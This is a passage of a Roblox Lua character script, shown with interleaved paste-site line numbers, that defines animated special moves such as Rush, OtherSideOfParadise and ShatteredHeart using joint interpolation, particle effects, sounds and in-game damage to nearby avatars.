        CreateWave(VT(3,1,3),65,CF(RootPart.Position)*CF(0,-3,0),false,2,"Pearl",VT(0.5,0.3,0.5))
3243
        CreateWave(VT(3,1,3),65,CF(RootPart.Position)*CF(0,-3,0),true,2,"Pearl",VT(0.6,0.3,0.6))
3244
        local SOUNDPART = CreatePart(3, Effects, "Neon", 0, 1, "Pearl", "Sound", VT(0,0,0))
3245
        SOUNDPART.CFrame = RootPart.CFrame
3246
        Debris:AddItem(SOUNDPART,5)
3247
        CreateSound("1295446488", SOUNDPART, 2, 1)
3248
        warnedpeople("UP WE GO!")
3249
        for i = 1, 15 do
3250
            Slice(0.1,65,CF(RootPart.Position) * ANGLES(RAD(0), RAD(MRANDOM(-180,180)), RAD(90)),"Pearl", 1 + MRANDOM(1,30)/15)
3251
        end
3252
        for i=0, 2, 0.1 / Animation_Speed do
3253
            Swait()
3254
            RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 50000000) * ANGLES(RAD(0), RAD(0), RAD(0)), 2 / Animation_Speed)
3255
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-20), RAD(0), RAD(0)), 0.2 / Animation_Speed)
3256
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-40), RAD(0), RAD(20)) * RIGHTSHOULDERC0, 0.2 / Animation_Speed)
3257
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-40), RAD(0), RAD(-20)) * LEFTSHOULDERC0, 0.2 / Animation_Speed)
3258
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.3) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(-20)), 0.2 / Animation_Speed)
3259
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, -0.3) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(20)), 0.2 / Animation_Speed)
3260
        end
3261
        for i=0, 0.25, 0.1 / Animation_Speed do
3262
            Swait()
3263
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(90), RAD(0), RAD(0)), 3 / Animation_Speed)
3264
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 3 / Animation_Speed)
3265
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 3 / Animation_Speed)
3266
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 3 / Animation_Speed)
3267
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3268
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3269
        end
3270
        if HITFLOOR ~= nil then
3271
            CreateDebreeRing(HITFLOOR,CF(RootPart.Position)*CF(0,-3,0).p,15,VT(7,7,7),85)
3272
        end
3273
        CreateSound("414517163", Effects, 10, MRANDOM(7, 12) / 10)
3274
        WELD:remove()
3275
        warnedpeople("DOWN GOES YOUR HEARTRATE!")
3276
        for i = 1, 25 do
3277
            Swait()
3278
            killnearest(RootPart.Position,45,100,Torso.CFrame)
3279
            CreateWave(VT(3,1,3),65,CF(RootPart.Position)*CF(0,-3,0),true,5,"Pearl",VT(0.3,3,0.3))
3280
            CreateWave(VT(3,1,3),65,CF(RootPart.Position)*CF(0,-3,0),false,2,BrickColor.Random(),VT(1,0.4,1))
3281
            CreateWave(VT(3,1,3),65,CF(RootPart.Position)*CF(0,-3,0),true,5,BrickColor.Random(),VT(2.3,0.3,2.3))
3282
            Slice(0.1,65,CF(RootPart.Position) * ANGLES(RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180))),"Pearl", 1 + MRANDOM(1,30)/5)
3283
            Slice(0.1,65,CF(RightArm.CFrame*CF(0,-1,0).p) * ANGLES(RAD(MRANDOM(-20,20)), RAD(MRANDOM(-180,180)), RAD(MRANDOM(-20,20))),BrickColor.Random(), 1 + MRANDOM(1,30)/15)
3284
        end
3285
    end
3286
    UNANCHOR = true
3287
    ATTACK = false
3288
    Rooted = false
3289
end
3290
 
3291
function Rush()
3292
    local ORIGIN = RootPart.Position
3293
    CreateWave2(VT(1,1,1),65,CF(RootPart.Position)*CF(0,-3,0),false,2,"Pearl",VT(0.2,1,0.2))
3294
    CreateWave2(VT(1,1,1),65,CF(RootPart.Position)*CF(0,-3,0),false,2,"Pearl",VT(0.2,1,0.2))
3295
    local SOUNDPART = CreatePart(3, Effects, "Neon", 0, 1, "Pearl", "Sound", VT(0,0,0))
3296
    SOUNDPART.CFrame = RootPart.CFrame
3297
    Debris:AddItem(SOUNDPART,5)
3298
    CreateSound("1295446488", SOUNDPART, 2, 1)
3299
    RootPart.CFrame = CF(Mouse.Hit.p+VT(0,3,0),VT(ORIGIN.X,Mouse.Hit.p.Y,ORIGIN.Z))
3300
    Swait()
3301
    CreateWave2(VT(1,1,1),65,CF(RootPart.Position)*CF(0,-3,0),false,2,"Pearl",VT(0.2,1,0.2))
3302
    CreateWave2(VT(1,1,1),65,CF(RootPart.Position)*CF(0,-3,0),false,2,"Pearl",VT(0.2,1,0.2))
3303
    local SOUNDPART = CreatePart(3, Effects, "Neon", 0, 1, "Pearl", "Sound", VT(0,0,0))
3304
    SOUNDPART.CFrame = RootPart.CFrame
3305
    Debris:AddItem(SOUNDPART,5)
3306
    CreateSound("1295446488", SOUNDPART, 2, 1)
3307
    if MRANDOM(1,8) == 1 then
3308
        ATTACK = true
3309
        Rooted = true
3310
        local FRUITSTABLE = {
3311
            {MeshId = "16190555", TextureId = "16190577", Color = BrickColor.Random()},
3312
            {MeshId = "119574562", TextureId = "64374853", Color = BrickColor.Random()},
3313
            {MeshId = "24394186", TextureId = "24394178", Color = BrickColor.Random()}
3314
        }
3315
        local FRUIT = FRUITSTABLE[MRANDOM(1, #FRUITSTABLE)]
3316
        local FRUITMODEL = CreatePart(3, Effects, "Neon", 0, 0, FRUIT.Color, "Fruit", VT(0,0,0),false)
3317
        CreateMesh("SpecialMesh", FRUITMODEL, "FileMesh", FRUIT.MeshId, FRUIT.TextureId, VT(2,2,2), VT(0,0,0))
3318
        FRUITMODEL.CFrame = RightArm.CFrame * CF(0,-1.5,0)
3319
        weldBetween(RightArm,FRUITMODEL)
3320
        for i=0, 4, 0.1 / Animation_Speed do
3321
            Swait()
3322
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3323
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3324
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(190), RAD(-145)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
3325
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
3326
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3327
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3328
        end
3329
        CreateSound("414517163", RightArm, 10, MRANDOM(7, 12) / 10)
3330
        FRUITMODEL:remove()
3331
        for i = 1, 15 do
3332
            Slice(0.1,15,RightArm.CFrame*CF(0,-1,0) * ANGLES(RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180))),FRUIT.Color, 1 + MRANDOM(1,10)/15)
3333
        end
3334
        for i=0, 0.5, 0.1 / Animation_Speed do
3335
            Swait()
3336
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3337
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3338
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(190), RAD(-175)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
3339
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
3340
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3341
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3342
        end
3343
        ATTACK = false
3344
        Rooted = false
3345
    end
3346
end
3347
 
3348
function OtherSideOfParadise()
3349
    ATTACK = true
3350
    Rooted = true
3351
    turnto(Mouse.Hit.p)
3352
    warnedpeople("THIS IS..")
3353
    CFuncs["EchoSound"].Create("rbxassetid://1548599511", Character, 4.5, 1,0,10,0.15,0.5,1)
3354
    CFuncs["EchoSound"].Create("rbxassetid://1548599511", RootPart, 30, 1,0,10,0.15,0.5,1)
3355
    CFuncs["Sound"].Create("rbxassetid://1208650519", Character, 4, 1)
3356
    MagicSphere(VT(8,8,8),150,RootPart.CFrame * CF(0,0,-6),BrickColor.Random(),VT(-0.04,-0.04,-0.04))
3357
    MagicSphere(VT(7.5,7.5,7.5),150,RootPart.CFrame * CF(0,0,-6),BrickColor.Random(),VT(-0.035,-0.035,-0.035))
3358
    coroutine.resume(coroutine.create(function()
3359
        for i = 0, 15, 0.1 do
3360
            Swait()
3361
        end
3362
        for i = 1, 5 do
3363
            MagicSphere(VT(150,150,150),75,RootPart.CFrame * CF(0,0,-72*i),BrickColor.Random(),VT(-150/(150-(15*i)),-150/(150-(15*i)),-150/(150-(15*i))))
3364
            CreateWave(VT(1,5,1),55,RootPart.CFrame * CF(0,0,-6*i)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,-1,BrickColor.Random(),VT(4.5*i,0.2,4.5*i))
3365
            CreateWave(VT(1,5,1),55,RootPart.CFrame * CF(0,0,-6*i)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,1,BrickColor.Random(),VT(5*i,0.2,5*i))
3366
            CreateSwirl(VT(3,5,3),75,RootPart.CFrame * CF(0,0,-15*i)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,-1,BrickColor.Random(),VT(4*i,0.6,4*i))
3367
            CreateSwirl(VT(3,5,3),75,RootPart.CFrame * CF(0,0,-15*i)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,1,BrickColor.Random(),VT(5.2*i,0.6,5.2*i))
3368
        end
3369
        CFuncs["Sound"].Create("rbxassetid://438666141", Character, 3,1)
3370
        CFuncs["Sound"].Create("rbxassetid://1208650519", Character, 4, 1)
3371
        warnedpeople("THE END!")
3372
        CFuncs["EchoSound"].Create("rbxassetid://1548599962", Character, 8, 1,0,10,0.15,0.5,1)
3373
        CFuncs["EchoSound"].Create("rbxassetid://1548599962", RootPart, 40, 1,0,10,0.15,0.5,1)
3374
        killnearest(RootPart.CFrame * CF(0,0,-500).p,500,1000,RootPart.CFrame)
3375
        coroutine.resume(coroutine.create(function()
3376
            for i = 1, 50 do
3377
                Swait()
3378
                for i = 1, 1 do
3379
                    Slice(0.1,65,CF(RootPart.Position) * ANGLES(RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180))),"Pearl", 1 + MRANDOM(1,30)/5)
3380
                end
3381
                for i = 1, 2 do
3382
                    Slice(0.1,65,CF(RootPart.Position) * ANGLES(RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180)), RAD(MRANDOM(-180,180))),BrickColor.Random(), 1 + MRANDOM(1,30)/3)
3383
                end
3384
            end
3385
        end))
3386
    end))
3387
    for i = 0, 18, 0.1 do
3388
        Swait()
3389
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0 * Player_Size, 0 * Player_Size, -0.2 * Player_Size + 0.05 * COS(SINE / 12) * Player_Size) * ANGLES(RAD(15), RAD(0), RAD(95)), 2 / Animation_Speed)
3390
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0 * Player_Size, 0 * Player_Size, 0 + ((1 * Player_Size) - 1)) * ANGLES(RAD(25), RAD(0), RAD(35)), 3 / Animation_Speed)
3391
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 3 / Animation_Speed)
3392
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(-70), RAD(0), RAD(-25)) * LEFTSHOULDERC0, 3 / Animation_Speed)
3393
        RightHip.C0 = Clerp(RightHip.C0, CF(1 * Player_Size, -0.8 * Player_Size, -0 * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-15), RAD(0), RAD(0)), 3 / Animation_Speed)
3394
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1 * Player_Size, -1 * Player_Size, -0 * Player_Size) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(0)), 3 / Animation_Speed)
3395
    end
3396
    ATTACK = false
3397
    Rooted = false
3398
end
3399
 
3400
function ShatteredHeart()
3401
    local function poof()
3402
        for i = 0, 99 do
3403
            local dis = CreateParta(Character,1,1,"Neon",MAINRUINCOLOR)
3404
            dis.CFrame = RootPart.CFrame*CFrame.new(MRANDOM(-5,5),MRANDOM(-5,5),MRANDOM(-5,5))*CFrame.Angles(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)))
3405
            local at1 = Instance.new("Attachment",dis)
3406
            at1.Position = vt(-25000,0,0)
3407
            local at2 = Instance.new("Attachment",dis)
3408
            at2.Position = vt(25000,0,0)
3409
            local trl = Instance.new('Trail',dis)
3410
            trl.Attachment0 = at1
3411
            trl.FaceCamera = true
3412
            trl.Attachment1 = at2
3413
            trl.Texture = "rbxassetid://1049219073"
3414
            trl.LightEmission = 1
3415
            trl.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0),NumberSequenceKeypoint.new(1, 1)})
3416
            trl.Color = ColorSequence.new(BrickColor.random().Color)
3417
            trl.Lifetime = 5
3418
            local bv = Instance.new("BodyVelocity")
3419
            bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
3420
            bv.velocity = dis.CFrame.lookVector*MRANDOM(500,2500)
3421
            bv.Parent = dis
3422
            game:GetService("Debris"):AddItem(dis, 5)
3423
        end
3424
        symbolizeBlink(RootPart,0,2109052855,MAINRUINCOLOR.Color,125,0,0,0,RootPart,false,0,1)
3425
        symbolizeBlink(RootPart,0,2109052855,MAINRUINCOLOR.Color,125,0,0,0,RootPart,false,0,1.5)
3426
        symbolizeBlink(RootPart,0,2109052855,MAINRUINCOLOR.Color,125,0,0,0,RootPart,false,0,3)
3427
        sphere2(2,"Add",RootPart.CFrame,vt(1,1,1),1,1,1,BrickColor.random(),BrickColor.random().Color)
3428
        sphere2(2,"Add",RootPart.CFrame,vt(1,1,1),2,2,2,BrickColor.random(),BrickColor.random().Color)
3429
        sphere2(2,"Add",RootPart.CFrame,vt(1,1,1),4,4,4,BrickColor.random(),BrickColor.random().Color)
3430
        sphere2(2,"Add",RootPart.CFrame,vt(1,1,1),8,8,8,BrickColor.random(),BrickColor.random().Color)
3431
        CFuncs["Sound"].Create("rbxassetid://1841058541", RootPart, 10,1)
3432
        CFuncs["Sound"].Create("rbxassetid://2095993595", Character, 5,0.8)
3433
        CFuncs["Sound"].Create("rbxassetid://1841058541", Character, 5,1)
3434
        Humanoid.CameraOffset = vt(0,0,0)
3435
        for i = 0, 24 do
3436
            slash(MRANDOM(10,30)/10,5,true,"Round","Add","Out",RootPart.CFrame*CFrame.Angles(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360))),vt(0.01,0.01,0.01),MRANDOM(500,1500)/250,BrickColor.random())
3437
        end
3438
        killnearest(RootPart.Position,9999,99999,Torso.CFrame)
3439
        CamShakeAll(30, 99999, RootPart.Position)
3440
    end
3441
    ATTACK = true
3442
    Rooted = true
3443
    CFuncs["Sound"].Create("rbxassetid://1368598393", Effects, 2.5, 0.5)
3444
    CFuncs["Sound"].Create("rbxassetid://1368598393", RootPart, 10, 0.5)
3445
    CFuncs["EchoSound"].Create("rbxassetid://1718412034", Effects, 4, 1,0,10,0.15,0.5,1)
3446
    local keptcolor = MAINRUINCOLOR
3447
    warnedpeople("SHATTER!")
3448
    FocusCamAll(8, Head, true)
3449
    for i = 0,8,0.1 do
3450
        Swait()
3451
        Humanoid.CameraOffset = vt(MRANDOM(-10,10)/100,MRANDOM(-10,10)/100,MRANDOM(-10,10)/100)
3452
        slash(MRANDOM(25,50)/10,5,true,"Round","Add","Out",RootPart.CFrame*CFrame.new(0,25,0)*CFrame.Angles(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360))),vt(2,0.01,2),-2,BrickColor.random())
3453
        block(10,"Add",RootPart.CFrame*CFrame.new(0,25,0),vt(0,0,0),0.5,0.5,0.5,BrickColor.random(),BrickColor.random().Color)
3454
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.03 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed)
3455
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-35 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed)
3456
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5 + 0.05 * SIN(SINE / 12), 0) * ANGLES(RAD(150), RAD(0), RAD(15)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3457
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 + 0.05 * SIN(SINE / 12), 0) * ANGLES(RAD(150), RAD(0), RAD(-15)) * LEFTSHOULDERC0, 1 / Animation_Speed)
3458
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(85), RAD(0)) * ANGLES(RAD(-12), RAD(0), RAD(0)), 1 / Animation_Speed)
3459
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-85), RAD(0)) * ANGLES(RAD(-12), RAD(0), RAD(0)), 1 / Animation_Speed)
3460
    end
3461
    poof()
3462
    local distam = 0
3463
    coroutine.resume(coroutine.create(function()
3464
        for i = 0, 99 do
3465
            wait()
3466
            distam = distam + 1
3467
            local xa = CreateParta(Character,1,1,"SmoothPlastic",BrickColor.random())
3468
            xa.Anchored = true
3469
            xa.CFrame = RootPart.CFrame*CFrame.new(MRANDOM(-distam,distam),MRANDOM(-distam,distam),MRANDOM(-distam,distam))*CFrame.Angles(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)))
3470
            game:GetService("Debris"):AddItem(xa, 5)
3471
            for i = 0, 4 do
3472
                slash(MRANDOM(25,50)/10,5,true,"Round","Add","Out",xa.CFrame*CFrame.Angles(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360))),vt(0.01,0.01,0.01),MRANDOM(200,500)/250,BrickColor.random())
3473
            end
3474
            coroutine.resume(coroutine.create(function()
3475
                local eff = Instance.new("ParticleEmitter",xa)
3476
                eff.Texture = "rbxassetid://2344870656"
3477
                eff.LightEmission = 1
3478
                eff.Color = ColorSequence.new(xa.Color)
3479
                eff.Rate = 10000000
3480
                eff.Enabled = true
3481
                eff.Lifetime = NumberRange.new(2.5)
3482
                eff.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,75,0),NumberSequenceKeypoint.new(0.1,20,0),NumberSequenceKeypoint.new(0.8,40,0),NumberSequenceKeypoint.new(1,60,0)})
3483
                eff.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0.8,0),NumberSequenceKeypoint.new(0.5,0,0),NumberSequenceKeypoint.new(1,1,0)})
3484
                eff.Speed = NumberRange.new(200)
3485
                eff.Drag = 5
3486
                eff.Rotation = NumberRange.new(-500,500)
3487
                eff.SpreadAngle = Vector2.new(0,900)
3488
                eff.RotSpeed = NumberRange.new(-500,500)
3489
                wait(0.2)
3490
                eff.Enabled = false
3491
            end))
3492
            coroutine.resume(coroutine.create(function()
3493
                local eff = Instance.new("ParticleEmitter",xa)
3494
                eff.Texture = "rbxassetid://2273224484"
3495
                eff.LightEmission = 1
3496
                eff.Color = ColorSequence.new(BrickColor.random().Color)
3497
                eff.Rate = 500000
3498
                eff.Lifetime = NumberRange.new(1,3)
3499
                eff.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,30,0),NumberSequenceKeypoint.new(0.2,5,0),NumberSequenceKeypoint.new(0.8,5,0),NumberSequenceKeypoint.new(1,0,0)})
3500
                eff.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,1,0),NumberSequenceKeypoint.new(0.1,0,0),NumberSequenceKeypoint.new(0.8,0,0),NumberSequenceKeypoint.new(1,1,0)})
3501
                eff.Speed = NumberRange.new(50,500)
3502
                eff.Drag = 5
3503
                eff.Rotation = NumberRange.new(-500,500)
3504
                eff.VelocitySpread = 9000
3505
                eff.RotSpeed = NumberRange.new(-50,50)
3506
                wait(0.25)
3507
                eff.Enabled = false
3508
            end))
3509
            coroutine.resume(coroutine.create(function()
3510
                for i = 0, 19 do
3511
                    Swait()
3512
                    Humanoid.CameraOffset = vt(MRANDOM(-10,10)/10,MRANDOM(-10,10)/10,MRANDOM(-10,10)/10)
3513
                end
3514
                Humanoid.CameraOffset = vt(0,0,0)
3515
            end))
3516
            CFuncs["Sound"].Create("rbxassetid://675172759", xa, 7,MRANDOM(100,200)/200)
3517
            sphere2(5,"Add",xa.CFrame,vt(1,1,1),1,1,1,BrickColor.random(),BrickColor.random().Color)
3518
            sphere2(5,"Add",xa.CFrame,vt(1,1,1),2,2,2,BrickColor.random(),BrickColor.random().Color)
3519
            killnearest(RootPart.Position,60,100,Torso.CFrame)
3520
            CamShakeAOE(Torso.CFrame.p,60,30,250)
3521
        end
3522
        poof()
3523
    end))
3524
    Rooted = false
3525
    ATTACK = false
3526
end
3527
 
3528
function Taunt()
3529
    ATTACK = true
3530
    Rooted = true
3531
    local orip0 = nil
3532
    if script["Mode"].Value == "Insane" then
3533
        orip0 = LeftArmGrasp.Part0
3534
        LeftArmGrasp.Part0 = RightArm
3535
    end
3536
    for i=0, 1, 0.1 / Animation_Speed do
3537
        Swait()
3538
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 2 / Animation_Speed)
3539
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 2 / Animation_Speed)
3540
        if script["Mode"].Value ~= "Insane" then
3541
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(12)) * RIGHTSHOULDERC0, 2 / Animation_Speed)
3542
        elseif script["Mode"].Value == "Insane" then
3543
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 2 / Animation_Speed)
3544
        end
3545
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(20)) * LEFTSHOULDERC0, 2 / Animation_Speed)
3546
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3547
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3548
    end
3549
    CreateSound("907330011", Head, 10, 1.1)
3550
    for i=0, 2, 0.1 / Animation_Speed do
3551
        Swait()
3552
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 2 / Animation_Speed)
3553
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 2 / Animation_Speed)
3554
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 2 / Animation_Speed)
3555
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(20)) * LEFTSHOULDERC0, 2 / Animation_Speed)
3556
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3557
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3558
    end
3559
    if script["Mode"].Value == "Insane" then
3560
        LeftArmGrasp.Part0 = orip0
3561
    end
3562
    ATTACK = false
3563
    Rooted = false
3564
end
3565
 
3566
function TrustIssues()
3567
    local HITFLOOR, HITPOS, NORMAL = Raycast(RootPart.Position, CF(RootPart.Position, RootPart.Position + VT(0, -1, 0)).lookVector, 7 * Player_Size, Character)
3568
    if HITFLOOR ~= nil then
3569
        do
3570
            local HITBODIES = {}
3571
            ATTACK = true
3572
            Rooted = true
3573
            local ABSOLUTE = CreatePart(3, Effects, "Neon", 0, 1, "White", "ABSOLUTEUM", VT(0, 0, 0))
3574
            MakeForm(ABSOLUTE, "Ball")
3575
            CreateSound("416200578", RootPart, 10, 1)
3576
            for i = 0, 8, 0.1 / Animation_Speed do
3577
                Swait()
3578
                ABSOLUTE.Size = ABSOLUTE.Size + VT(0.2, 0.2, 0.2)
3579
                ABSOLUTE.CFrame = RootPart.CFrame * CF(0, 5 + ABSOLUTE.Size.Y / 2, 0)
3580
                ABSOLUTE.Transparency = ABSOLUTE.Transparency - 0.01
3581
                local CHARGE = CreatePart(3, Effects, "Neon", 0, 0, MAINRUINCOLOR, "ABSOLUTEUM", VT(2, 2, 2))
3582
                MakeForm(CHARGE, "Ball")
3583
                CHARGE.CFrame = CF(RootPart.Position) * CF(MRANDOM(-15, 15), -15, MRANDOM(-15, 15))
3584
                FireArc(CHARGE, ABSOLUTE.Position, 45, 45, true)
3585
                RightHip.C0=Clerp(RightHip.C0,cf(1,-1 - 0.05 * COS(SINE / 32),0)*ANGLES(RAD(0),RAD(90),RAD(0))*ANGLES(RAD(-3),RAD(0 - 1 * COS(SINE / 56)),RAD(-15 - 2 * COS(SINE / 32))),.1)
3586
                LeftHip.C0=Clerp(LeftHip.C0,cf(-1,-1 - 0.05 * COS(SINE / 32),0)*ANGLES(RAD(0),RAD(-90),RAD(0))*ANGLES(RAD(-3),RAD(0 - 1 * COS(SINE / 56)),RAD(15 + 2 * COS(SINE / 32))),.1)
3587
